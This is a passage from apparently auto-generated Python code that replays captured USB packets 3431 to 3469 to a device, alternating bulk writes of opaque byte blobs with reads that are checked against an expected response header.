b\"\\x0F\\x30\\x02\\x78\\x18\\xEC\\xEF\\x0D\\x58\\xB8\\xCA\\xF7\\x4A\\xE9\\x55\\xD2\"\n b\"\\x3E\\x58\\x3E\\x76\\xB5\\x81\\x60\\x5A\\xCD\\xB4\\xD7\\x19\\x74\\xBD\\x7F\\x5D\"\n b\"\\x98\\x5B\\x87\\x30\\x1F\\xFA\\x12\\x25\\xE6\\xC5\\xF3\\xFC\\xD6\\x34\\x9D\\x52\"\n b\"\\x50\\x63\\x68\\x06\\xEB\\x6B\\x8A\\x51\\x75\\xF2\\x45\\xEE\\xB4\\x1B\\x57\\x7A\"\n b\"\\x33\\x17\\x8B\\xB2\\x64\\x3A\\xBD\\x88\\x87\\xBD\\xEE\\x0E\\x59\\x08\\xB6\\x07\"\n b\"\\x08\\x6E\\xA0\\x1E\\x76\\xC9\\x29\\x3D\\xD2\\x6F\\x6B\\x66\\xBA\\xAA\\x82\\xAE\"\n b\"\\x1F\\x90\\x5C\\x64\\x45\\x06\\x1B\\x8D\\x39\\x77\\xED\\xB3\\xF4\\x38\\x7C\\xEB\"\n b\"\\x68\\x2B\\x0D\\x53\\x44\\x21\\x34\\x84\\x03\\x53\\x4C\\x78\\x88\\x6D\\x6D\\xC4\"\n b\"\\x66\\xE7\\xEF\\x32\\xE9\\x8E\\x5A\\xF2\\x07\\xA2\\x2B\\xBE\\xC3\\x11\\x33\\x83\"\n b\"\\x97\\x05\\xBB\\x22\\x7D\\x76\\xEB\\x16\\x4C\\xDC\\x12\\x65\\x62\\x21\\xEB\\x4F\"\n b\"\\x58\\x36\\x64\\x70\\x48\\x79\\x93\\x5F\\x47\\xC4\\x88\\x87\\xF1\\x17\\xE6\\x78\"\n b\"\\xB8\\x5E\\x62\\x6F\\x37\\x5F\\x58\\x28\\x91\\x5F\\xCE\\xF5\")\n # Generated from packet 3431/3432\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3431/3432\")\n # Generated from packet 3433/3434\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\x9B\\x41\\xFF\\xBC\\x55\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8C\\xC2\\x42\\x49\\xB0\\xCA\\x8B\\xD8\"\n b\"\\x06\\x75\\xD2\\x83\\x1C\\x75\\x7B\\xFF\\x3E\\x74\\x3D\\xEE\\xFF\\x87\\x86\\x87\"\n b\"\\xAE\\xDF\\xFF\\xEE\\x12\\xE7\\xDD\\xC7\\xC1\\xB3\\x98\\x62\\xA9\\x00\\xA5\\x3F\"\n b\"\\x68\\xB3\\x87\\x14\\x23\\xDE\\xF3\\x3B\\xAB\\xC2\\x2A\\xFC\\xFA\\xE5\\x7D\\xB2\"\n b\"\\x87\\x57\\xFE\\xE2\\x7B\\x03\\xAD\\xE3\\xB0\\x8D\\x82\\x28\\xD8\\x46\\xE5\\x04\"\n b\"\\xE0\\x45\\x0B\\xDE\\x1F\\x1A\\x62\\x9E\\x03\\x1A\\x30\\x8B\\x6D\\xC5\\x8D\\x77\"\n b\"\\xCB\\x75\\x0E\\xD1\\xDE\\x75\\xC2\\xE5\\x29\\x79\\x90\\x78\\x12\\x12\\x46\\x58\"\n b\"\\xAA\\xB2\\x61\\x26\\x91\\xE0\\x15\\xCE\\x8B\\x95\\x77\\x51\\x83\\x5C\\x49\\x5E\"\n b\"\\xAC\\x4C\\x69\\x56\\x46\\x97\\xA3\\x82\\x62\\xDC\\x7A\\x99\\xA3\\x0D\\xC8\\x74\"\n b\"\\xC9\\xA7\\xD6\\xD4\\x03\\xB5\\x02\\x78\\x14\\x69\\xEF\\x0D\\x54\\x3D\\xCA\\xF7\"\n b\"\\x46\\x6C\\x55\\xD2\\x32\\xDD\\x3E\\x76\\xB9\\x04\\x60\\x5A\\xC1\\x31\\xD7\\x19\"\n b\"\\x78\\x38\\x7F\\x5D\\x94\\xDE\\x87\\x30\\x13\\x7F\\x12\\x25\\xEA\\x40\\xF3\\xFC\"\n b\"\\xDA\\xB1\\x9D\\x52\\x5C\\xE6\\x68\\x06\\xE7\\xEE\\x8A\\x51\\x79\\x77\\x45\\xEE\"\n b\"\\xB8\\x9E\\x57\\x7A\\x3F\\x92\\x8B\\xB2\\x68\\xBF\\xBD\\x88\\x8B\\x38\\xEE\\x0E\"\n b\"\\x55\\x8D\\xB6\\x07\\x04\\xEB\\xA0\\x1E\\x7A\\x4C\\x29\\x3D\\xDE\\xEA\\x6B\\x66\"\n b\"\\xB6\\x2F\\x82\\xAE\\x13\\x15\\x5C\\x64\\x49\\x83\\x1B\\x8D\\x35\\xF2\\xED\\xB3\"\n b\"\\xF8\\xBD\\x7C\\xEB\\x64\\xAE\\x0D\\x53\\x48\\xA4\\x34\\x84\")\n # Generated from packet 3435/3436\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3435/3436\")\n # Generated from packet 3437/3438\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD2\\x6A\\x53\\xC3\\xF0\\x61\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x39\\xDA\\xE2\\x29\\x51\\xC0\\xE5\\x04\"\n b\"\\x69\\xC3\\x0B\\xDE\\x96\\x9C\\x62\\x9E\\x8A\\x9C\\x30\\x8B\\xE4\\x43\\x8D\\x77\"\n b\"\\x42\\xF3\\x0E\\xD1\\x57\\xF3\\xC2\\xE5\\xA0\\xFF\\x90\\x78\\x9B\\x94\\x46\\x58\"\n b\"\\x23\\x34\\x61\\x26\\x18\\x66\\x15\\xCE\\x02\\x13\\x77\\x51\\x0A\\xDA\\x49\\x5E\"\n b\"\\x25\\xCA\\x69\\x56\\xCF\\x11\\xA3\\x82\\xEB\\x5A\\x7A\\x99\\x2A\\x8B\\xC8\\x74\"\n b\"\\x40\\x21\\xD6\\xD4\\x8A\\x33\\x02\\x78\\x9D\\xEF\\xEF\\x0D\\xDD\\xBB\\xCA\\xF7\"\n b\"\\xCF\\xEA\\x55\\xD2\\xBB\\x5B\\x3E\\x76\\x30\\x82\\x60\\x5A\\x48\\xB7\\xD7\\x19\"\n b\"\\xF1\\xBE\\x7F\\x5D\\x1D\\x58\\x87\\x30\\x9A\\xF9\\x12\\x25\\x63\\xC6\\xF3\\xFC\"\n b\"\\x53\\x37\\x9D\\x52\\xD5\\x60\\x68\\x06\\x6E\\x68\\x8A\\x51\\xF0\\xF1\\x45\\xEE\"\n b\"\\x31\\x18\\x57\\x7A\\xB6\\x14\\x8B\\xB2\\xE1\\x39\\xBD\\x88\\x02\\xBE\\xEE\\x0E\"\n b\"\\xDC\\x0B\\xB6\\x07\\x8D\\x6D\\xA0\\x1E\\xF3\\xCA\\x29\\x3D\\x57\\x6C\\x6B\\x66\"\n b\"\\x3F\\xA9\\x82\\xAE\\x9A\\x93\\x5C\\x64\\xC0\\x05\\x1B\\x8D\\xBC\\x74\\xED\\xB3\"\n b\"\\x71\\x3B\\x7C\\xEB\\xED\\x28\\x0D\\x53\\xC1\\x22\\x34\\x84\\x86\\x50\\x4C\\x78\"\n b\"\\x0D\\x6E\\x6D\\xC4\\xE3\\xE4\\xEF\\x32\\x6C\\x8D\\x5A\\xF2\\x82\\xA1\\x2B\\xBE\"\n b\"\\x46\\x12\\x33\\x83\\x12\\x06\\xBB\\x22\\xF8\\x75\\xEB\\x16\\xC9\\xDF\\x12\\x65\"\n b\"\\xE7\\x22\\xEB\\x4F\\xDD\\x35\\x64\\x70\\xCD\\x7A\\x93\\x5F\\xC2\\xC7\\x88\\x87\"\n b\"\\x74\\x14\\xE6\\x78\\x3D\\x5D\\x62\\x6F\\xB2\\x5C\\x58\\x28\")\n # Generated from packet 3439/3440\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3439/3440\")\n # Generated from packet 3441/3442\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1C\\x3A\\x5D\\xD7\\xCA\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC8\\xC7\\xB2\\x82\\xD2\\x36\\x7B\\xFF\"\n b\"\\xF0\\x37\\x3D\\xEE\\x31\\xC4\\x86\\x87\\x60\\x9C\\xFF\\xEE\\xDC\\xA4\\xDD\\xC7\"\n b\"\\x0F\\xF0\\x98\\x62\\x67\\x43\\xA5\\x3F\\xA6\\xF0\\x87\\x14\\xED\\x9D\\xF3\\x3B\"\n b\"\\x65\\x81\\x2A\\xFC\\x34\\xA6\\x7D\\xB2\\x49\\x14\\xFE\\xE2\\xB5\\x40\\xAD\\xE3\"\n b\"\\x7E\\xCE\\x82\\x28\\x16\\x05\\xE5\\x04\\x2E\\x06\\x0B\\xDE\\xD1\\x59\\x62\\x9E\"\n b\"\\xCD\\x59\\x30\\x8B\\xA3\\x86\\x8D\\x77\\x05\\x36\\x0E\\xD1\\x10\\x36\\xC2\\xE5\"\n b\"\\xE7\\x3A\\x90\\x78\\xDC\\x51\\x46\\x58\\x64\\xF1\\x61\\x26\\x5F\\xA3\\x15\\xCE\"\n b\"\\x45\\xD6\\x77\\x51\\x4D\\x1F\\x49\\x5E\\x62\\x0F\\x69\\x56\\x88\\xD4\\xA3\\x82\"\n b\"\\xAC\\x9F\\x7A\\x99\\x6D\\x4E\\xC8\\x74\\x07\\xE4\\xD6\\xD4\\xCD\\xF6\\x02\\x78\"\n b\"\\xDA\\x2A\\xEF\\x0D\\x9A\\x7E\\xCA\\xF7\\x88\\x2F\\x55\\xD2\\xFC\\x9E\\x3E\\x76\"\n b\"\\x77\\x47\\x60\\x5A\\x0F\\x72\\xD7\\x19\\xB6\\x7B\\x7F\\x5D\\x5A\\x9D\\x87\\x30\"\n b\"\\xDD\\x3C\\x12\\x25\\x24\\x03\\xF3\\xFC\\x14\\xF2\\x9D\\x52\\x92\\xA5\\x68\\x06\"\n b\"\\x29\\xAD\\x8A\\x51\\xB7\\x34\\x45\\xEE\\x76\\xDD\\x57\\x7A\\xF1\\xD1\\x8B\\xB2\"\n b\"\\xA6\\xFC\\xBD\\x88\\x45\\x7B\\xEE\\x0E\\x9B\\xCE\\xB6\\x07\\xCA\\xA8\\xA0\\x1E\"\n b\"\\xB4\\x0F\\x29\\x3D\\x10\\xA9\\x6B\\x66\\x78\\x6C\\x82\\xAE\\xDD\\x56\\x5C\\x64\"\n b\"\\x87\\xC0\\x1B\\x8D\\xFB\\xB1\\xED\\xB3\\x36\\xFE\\x7C\\xEB\\xAA\\xED\\x0D\\x53\"\n b\"\\x86\\xE7\\x34\\x84\\xC1\\x95\\x4C\\x78\\x4A\\xAB\\x6D\\xC4\")\n # Generated from packet 3443/3444\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3443/3444\")\n # Generated from packet 3445/3446\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA7\\x04\\x90\\x80\\x0E\\x39\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBC\\x87\\x70\\xFC\\x3F\\xC5\\xEC\\xA9\"\n b\"\\x6C\\xC4\\x27\\x27\\x43\\x0F\\x4F\\xEC\\x24\\x23\\x77\\xEF\\xCA\\xF9\\x88\\xB0\"\n b\"\\xA3\\xB9\\x94\\xB0\\xF1\\xAC\\xFA\\x6F\\x4C\\x50\\x5C\\xDF\\xCF\\xF6\\x49\\xDF\"\n b\"\\x03\\xC2\\xBE\\xD3\\x51\\x5F\\x85\\xB8\\x87\\x7F\\x3D\\x18\\xA0\\x01\\x06\\x4A\"\n b\"\\xD4\\xE9\\x1C\\x3F\\xB6\\x76\\x14\\xF6\\x88\\x79\\x3B\\xE6\\xA8\\x71\\xD1\\x3D\"\n b\"\\x62\\xA5\\xF5\\x76\\xBB\\xBE\\x34\\xA7\\x09\\x53\\x5E\\x0D\\x17\\xF3\\x94\\x1F\"\n b\"\\xC3\\x5F\\x83\\xC3\\x2E\\x2A\\xC3\\x97\\x0B\\xD0\\xD1\\xC6\\x94\\xF5\\xA5\\x77\"\n b\"\\xFF\\x51\\x2E\\xAE\\xA1\\x7D\\x56\\x9B\\x16\\x3E\\xEF\\x92\\xBE\\x7A\\x03\\x74\"\n b\"\\x46\\x17\\x84\\xD5\\xD3\\x02\\x7D\\xEA\\x32\\xDB\\x4D\\x1B\\x5C\\x75\\xCB\\x4C\"\n b\"\\xA9\\x21\\x70\\x44\\x4B\\x76\\xEE\\xDD\\x84\\xC9\\x2F\\x34\\x96\\x5D\\xA8\\x38\"\n b\"\\x4A\\x95\\xFF\\x15\\x7C\\xAF\\x1C\\x92\\x2F\\x29\\xC2\\x27\\x77\\x20\\x93\\x41\"\n b\"\\x61\\x39\\xED\\xE6\\xE8\\x1A\\x49\\x40\\xAA\\x41\\x21\\x85\\x43\\x89\\x84\\xBF\"\n b\"\\x9D\\x43\\xDE\\x29\\xDA\\xAA\\xA2\\x58\\x2C\\x94\\x6F\\x17\\xBD\\xCC\\xF3\\x04\"\n b\"\\xCC\\x74\\xDF\\x0E\\xF5\\xA3\\x98\\x7C\\x8D\\x5F\\x13\\x42\\xAC\\xE3\\xFD\\xC8\"\n b\"\\x2E\\x15\\x72\\xA1\\x9B\\xD5\\x9C\\x8D\\xEA\\x99\\x58\\x3E\\xF2\\xA4\\x0C\\x2A\"\n b\"\\x7A\\x05\\xE6\\x59\\x2A\\x31\\xD7\\xF3\\xD3\\x42\\xF9\\x0E\\x2A\\x68\\xC3\\x19\"\n b\"\\xA5\\x57\\xD3\\x56\\x52\\x78\\xDC\\xEB\\x49\\xA0\\x6A\\x38\")\n # Generated from packet 3447/3448\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3447/3448\")\n # Generated from packet 3449/3450\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x69\\x54\\x9E\\x94\\x3D\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\xF3\\xA3\\x96\\x6D\\x3B\\xD1\\xC6\"\n b\"\\xF2\\x1E\\xA5\\x77\\x99\\xBA\\x2E\\xAE\\xC7\\x96\\x56\\x9B\\x70\\xD5\\xEF\\x92\"\n b\"\\xD8\\x91\\x03\\x74\\x20\\xFC\\x84\\xD5\\xB5\\xE9\\x7D\\xEA\\x54\\x30\\x4D\\x1B\"\n b\"\\x3A\\x9E\\xCB\\x4C\\xCF\\xCA\\x70\\x44\\x2D\\x9D\\xEE\\xDD\\xE2\\x22\\x2F\\x34\"\n b\"\\xF0\\xB6\\xA8\\x38\\x2C\\x7E\\xFF\\x15\\x1A\\x44\\x1C\\x92\\x49\\xC2\\xC2\\x27\"\n b\"\\x11\\xCB\\x93\\x41\\x07\\xD2\\xED\\xE6\\x8E\\xF1\\x49\\x40\\xCC\\xAA\\x21\\x85\"\n b\"\\x25\\x62\\x84\\xBF\\xFB\\xA8\\xDE\\x29\\xBC\\x41\\xA2\\x58\\x4A\\x7F\\x6F\\x17\"\n b\"\\xDB\\x27\\xF3\\x04\\xAA\\x9F\\xDF\\x0E\\x93\\x48\\x98\\x7C\\xEB\\xB4\\x13\\x42\"\n b\"\\xCA\\x08\\xFD\\xC8\\x48\\xFE\\x72\\xA1\\xFD\\x3E\\x9C\\x8D\\x8C\\x72\\x58\\x3E\"\n b\"\\x94\\x4F\\x0C\\x2A\\x1C\\xEE\\xE6\\x59\\x4C\\xDA\\xD7\\xF3\\xB5\\xA9\\xF9\\x0E\"\n b\"\\x4C\\x83\\xC3\\x19\\xC3\\xBC\\xD3\\x56\\x34\\x93\\xDC\\xEB\\x2F\\x4B\\x6A\\x38\"\n b\"\\x41\\xB4\\x23\\x71\\xC5\\xA3\\xAC\\x70\\xFF\\xE4\\x0A\\x70\\x69\\x39\\xF2\\x94\"\n b\"\\x9D\\x04\\x2D\\x3E\\x58\\xD0\\x24\\x86\\x41\\x8D\\x7E\\x55\\xD7\\x22\\x3B\\xA8\"\n b\"\\x6C\\xF1\\x28\\x3F\\x78\\x4B\\x22\\x03\\x2E\\x15\\x9A\\x63\\x1B\\x36\\x03\\x29\"\n b\"\\xDB\\xD8\\x99\\xAD\\x17\\xB5\\x8C\\x3A\\x3B\\x43\\xA4\\x13\\x13\\xB1\\x87\\x3B\"\n b\"\\xB9\\x40\\x72\\x61\\x1E\\x93\\x60\\xA8\\x10\\x9D\\x5C\\xA6\\x5A\\x60\\xB7\\xA7\"\n b\"\\x19\\x77\\xAF\\x25\\x6B\\xF9\\x1E\\xA0\\xC3\\x64\\xBA\\x17\")\n # Generated from packet 3451/3452\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3451/3452\")\n # Generated from packet 3453/3454\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3B\\xA5\\x8C\\xA8\\x6D\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\x72\\x2C\\x69\\xAB\\x9B\\x44\\x8A\"\n b\"\\xFC\\x05\\xDD\\x45\\x43\\xC4\\x34\\x57\\xD7\\x43\\x38\\x8B\\x1F\\x14\\x15\\xBD\"\n b\"\\x25\\xF7\\x92\\xEE\\xA3\\x29\\x27\\xB6\\xAA\\x78\\x41\\xA0\\xB3\\x06\\xE6\\x29\"\n b\"\\x90\\xA2\\x40\\x6B\\xCB\\xCA\\x85\\x82\\x03\\x6F\\xBF\\x5C\\xC9\\x35\\x29\\x1B\"\n b\"\\x20\\x49\\x58\\xED\\x1E\\x84\\x17\\x7C\\x46\\x18\\x04\\x0D\\xFE\\x34\\x0E\\x34\"\n b\"\\x29\\x73\\x7C\\x4C\\xD5\\xF8\\x42\\x6D\\x69\\x16\\xC8\\xEF\\x9F\\x99\\xA1\\x5A\"\n b\"\\x5F\\x77\\x8D\\x2B\\x13\\xB3\\x3E\\x33\\x2E\\xE7\\x2A\\xBB\\x8F\\x0D\\x59\\xEB\"\n b\"\\xBB\\x3C\\xF3\\x12\\xC8\\x12\\x0E\\xEB\\xE2\\x28\\x19\\x64\\xDD\\x38\\x56\\x93\"\n b\"\\xF2\\x37\\xEB\\x88\\x2A\\x81\\x38\\xE6\\xD5\\xC8\\x71\\x62\\xC2\\x47\\x70\\x58\"\n b\"\\x85\\xE1\\x70\\xCE\\x58\\x19\\x94\\x3A\\x65\\xC6\\x3E\\xFF\\xB1\\xCF\\x86\\xE6\"\n b\"\\xEC\\x95\\x55\\x70\\x43\\xD0\\xA8\\xCB\\x90\\xC3\\x3F\\xDF\\x2A\\xC9\\x03\\x89\"\n b\"\\x74\\x71\\x63\\xBC\\x57\\xE8\\x29\\x7C\\xB9\\x72\\xAD\\xB0\\xD4\\x67\\x3A\\x9C\"\n b\"\\x22\\x4F\\x13\\xB4\\xD0\\x6C\\x3B\\x1E\\x21\\x99\\x61\\xB9\\xF2\\x8B\\xA8\\xB7\"\n b\"\\xFC\\xB7\\xA6\\xFD\\x01\\x5C\\xA7\\xBE\\x16\\x44\\x25\\xCC\\x98\\xF5\\xA0\\x64\"\n b\"\\x05\\x51\\x17\\xAF\\x0E\\x5F\\x83\\xA1\\xA4\\x0B\\x6D\\x5E\\xFE\\x43\\xE0\\x03\"\n b\"\\x30\\x41\\xDB\\x7C\\x46\\x2E\\xB3\\x15\\xBF\\x35\\x4A\\x52\\xA9\\x1A\\xD1\\xD6\"\n b\"\\x9E\\x78\\x9A\\x63\\xF7\\x64\\x5D\\xE2\\xF0\\x11\\x01\\xA3\")\n # Generated from packet 3455/3456\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3455/3456\")\n # Generated from packet 3457/3458\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF5\\xF5\\x82\\xBC\\x94\\x7E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4B\\x9F\\x28\\x26\\xF2\\x44\\xD8\\x91\"\n b\"\\x4D\\x1D\\x83\\x8B\\x4D\\xB4\\xFF\\xA9\\x4C\\xF2\\xEE\\x68\\xBF\\x49\\x87\\x39\"\n b\"\\xE7\\x30\\xEE\\x85\\xDF\\x12\\xC7\\x56\\x8B\\x57\\x62\\x3E\\x38\\x6A\\x3F\\xFF\"\n b\"\\x8B\\x48\\x14\\xB4\\xE6\\x3C\\x3B\\x3C\\xFA\\xE5\\xFC\\x6D\\xDD\\xB2\\xB2\\x10\"\n b\"\\x6F\\x31\\xE2\\xEC\\x3B\\x62\\xE3\\x27\\xB5\\x4D\\x28\\x4F\\x7E\\x2A\\x04\\x77\"\n b\"\\x7D\\xC4\\xDE\\x88\\x22\\xAD\\x9E\\x94\\x22\\xFF\\x8B\\xFA\\xFD\\x42\\x77\\x5C\"\n b\"\\x4D\\xC1\\xD1\\x49\\x4D\\x0D\\xE5\\xBE\\x41\\x5F\\x78\\x85\\x2A\\x89\\x58\\x3D\"\n b\"\\x8A\\xAE\\x26\\x06\\xD8\\xDA\\xCE\\x1C\\xAD\\xB8\\x51\\x14\\x64\\x86\\x5E\\x3B\"\n b\"\\x74\\xA6\\x56\\xD1\\xAF\\x6C\\x82\\xF5\\xE4\\xB5\\x99\\x34\\x35\\x07\\x74\\x5E\"\n b\"\\x9F\\x19\\xD4\\x94\\x8D\\xCD\\x78\\x83\\x51\\x20\\x0D\\xC3\\x05\\x05\\xF7\\xD1\"\n b\"\\x54\\x9A\\xD2\\xA5\\xE5\\xF1\\x76\\x2E\\x3C\\xAF\\x5A\\x56\\x09\\x18\\x19\\xEF\"\n b\"\\x00\\xB0\\x5D\\x03\\xE6\\x48\\x30\\x84\\x47\\xDD\\x25\\x7D\\x78\\x3C\\xFC\\x4D\"\n b\"\\x89\\x52\\x52\\xCB\\xDE\\xA7\\x06\\x70\\xD6\\x45\\x51\\xEE\\x4F\\x8A\\xEE\\x2F\"\n b\"\\xA6\\x98\\x7A\\xA8\\xAA\\x44\\xB2\\xFF\\x87\\x72\\x88\\x1C\\x00\\x21\\x0E\\xC2\"\n b\"\\xB5\\x79\\x07\\x93\\xD3\\x6F\\x1E\\xED\\x74\\xE6\\x3D\\x49\\xD2\\xA4\\x66\\x21\"\n b\"\\x17\\x4D\\xAE\\x84\\x2D\\x93\\x64\\xDE\\xBB\\xD4\\x8D\\xA2\\xCA\\x22\\xB3\\x6F\"\n b\"\\x85\\xB3\\xEB\\xF3\\x96\\xC2\\x53\\xDF\\x9C\\xFB\\x84\\x98\")\n # Generated from packet 3459/3460\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3459/3460\")\n # Generated from packet 3461/3462\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9F\\x47\\xA9\\xD0\\x31\\x1A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD8\\x33\\x8C\\xA8\\x8B\\xA0\\x27\\x27\"\n b\"\\xA4\\x6B\\x4F\\xEC\\xC3\\x47\\x77\\xEF\\x2D\\x9D\\x88\\xB0\\x44\\xDD\\x94\\xB0\"\n b\"\\x16\\xC8\\xFA\\x6F\\xAB\\x34\\x5C\\xDF\\x28\\x92\\x49\\xDF\\xE4\\xA6\\xBE\\xD3\"\n b\"\\xB6\\x3B\\x85\\xB8\\x60\\x1B\\x3D\\x18\\x47\\x65\\x06\\x4A\\x33\\x8D\\x1C\\x3F\"\n b\"\\x51\\x12\\x14\\xF6\\x6F\\x1D\\x3B\\xE6\\x4F\\x15\\xD1\\x3D\\x85\\xC1\\xF5\\x76\"\n b\"\\x5C\\xDA\\x34\\xA7\\xEE\\x37\\x5E\\x0D\\xF0\\x97\\x94\\x1F\\x24\\x3B\\x83\\xC3\"\n b\"\\xC9\\x4E\\xC3\\x97\\xEC\\xB4\\xD1\\xC6\\x73\\x91\\xA5\\x77\\x18\\x35\\x2E\\xAE\"\n b\"\\x46\\x19\\x56\\x9B\\xF1\\x5A\\xEF\\x92\\x59\\x1E\\x03\\x74\\xA1\\x73\\x84\\xD5\"\n b\"\\x34\\x66\\x7D\\xEA\\xD5\\xBF\\x4D\\x1B\\xBB\\x11\\xCB\\x4C\\x4E\\x45\\x70\\x44\"\n b\"\\xAC\\x12\\xEE\\xDD\\x63\\xAD\\x2F\\x34\\x71\\x39\\xA8\\x38\\xAD\\xF1\\xFF\\x15\"\n b\"\\x9B\\xCB\\x1C\\x92\\xC8\\x4D\\xC2\\x27\\x90\\x44\\x93\\x41\\x86\\x5D\\xED\\xE6\"\n b\"\\x0F\\x7E\\x49\\x40\\x4D\\x25\\x21\\x85\\xA4\\xED\\x84\\xBF\\x7A\\x27\\xDE\\x29\"\n b\"\\x3D\\xCE\\xA2\\x58\\xCB\\xF0\\x6F\\x17\\x5A\\xA8\\xF3\\x04\\x2B\\x10\\xDF\\x0E\"\n b\"\\x12\\xC7\\x98\\x7C\\x6A\\x3B\\x13\\x42\\x4B\\x87\\xFD\\xC8\\xC9\\x71\\x72\\xA1\"\n b\"\\x7C\\xB1\\x9C\\x8D\\x0D\\xFD\\x58\\x3E\\x15\\xC0\\x0C\\x2A\\x9D\\x61\\xE6\\x59\"\n b\"\\xCD\\x55\\xD7\\xF3\\x34\\x26\\xF9\\x0E\\xCD\\x0C\\xC3\\x19\\x42\\x33\\xD3\\x56\"\n b\"\\xB5\\x1C\\xDC\\xEB\\xAE\\xC4\\x6A\\x38\\xC0\\x3B\\x23\\x71\")\n # Generated from packet 3463/3464\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3463/3464\")\n # Generated from packet 3465/3466\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x51\\x17\\xA7\\xC4\\x92\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\\x05\\xE8\\x1D\\xC0\\xE4\\x0E\\xC2\"\n b\"\\x75\\xBC\\x07\\x93\\x13\\xAA\\x1E\\xED\\xB4\\x23\\x3D\\x49\\x12\\x61\\x66\\x21\"\n b\"\\xD7\\x88\\xAE\\x84\\xED\\x56\\x64\\xDE\\x7B\\x11\\x8D\\xA2\\x0A\\xE7\\xB3\\x6F\"\n b\"\\x45\\x76\\xEB\\xF3\\x56\\x07\\x53\\xDF\\x5C\\x3E\\x84\\x98\\x2E\\x46\\x78\\x13\"\n b\"\\x10\\x67\\xC4\\xFD\\x9A\\xE5\\x32\\x72\\xF3\\x50\\xF2\\x9C\\xDF\\x21\\xBE\\x58\"\n b\"\\x6C\\x39\\x83\\x0C\\x78\\xB1\\x22\\xE6\\x0B\\xE1\\x16\\xD7\\xA1\\x18\\x65\\xF9\"\n b\"\\x5C\\xE1\\x4F\\xC3\\x4B\\x6E\\x70\\xD3\\x04\\x99\\x5F\\xDC\\xB9\\x82\\x87\\x6A\"\n b\"\\x6A\\xEC\\x78\\x23\\x23\\x68\\x6F\\xAC\\x22\\x52\\x28\\x0A\\x22\\xC4\\xF5\\xF2\"\n b\"\\xC6\\x30\\xC8\\x2D\\x6C\\xF5\\x1C\\x24\\xD4\\xEC\\x41\\x7E\\x07\\x7A\\xEE\\x3B\"\n b\"\\xFA\\xC1\\x3D\\x28\\x6D\\xD5\\x87\\x22\\x51\\x83\\xD9\\x9A\\x31\\xB6\\xFA\\x03\"\n b\"\\x7B\\x76\\x14\\x99\\xFF\\xBA\\x79\\x8C\\x68\\x96\\x8F\\xA4\\x41\\xBE\\x7D\\x87\"\n b\"\\x69\\x14\\x8C\\x72\\x33\\xB3\\x5F\\x60\\xFA\\xBD\\x51\\x5C\\xF4\\xF7\\xAC\\xB7\"\n b\"\\xF5\\xB4\\xBB\\xAF\\x77\\xC6\\x35\\x1E\\xF2\\x6E\\xA8\\xBA\\x45\\xA5\\xA3\\xB4\"\n b\"\\xD1\\xAB\\x09\\xE0\\x3F\\x54\\x53\\xA8\\xB2\\x09\\x9D\\xAA\\x89\\x76\\xEB\\xC5\"\n b\"\\xE1\\x1F\\x12\\xDE\\x18\\x58\\x04\\xF1\\x83\\xDC\\x33\\x93\\xC8\\x69\\x5A\\x8F\"\n b\"\\x0F\\xE8\\x5D\\xFA\\x53\\xA9\\x08\\xE3\\xC1\\x99\\xF4\\x88\\x3E\\x80\\x41\\x6A\"\n b\"\\x8A\\xD1\\x12\\x3E\\xF8\\x6D\\xA2\\x49\\x5F\\xD9\\xFD\\x4A\")\n # Generated from packet 3467/3468\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3467/3468\")\n # Generated from packet 3469/3470\n bulkWrite(0x01, 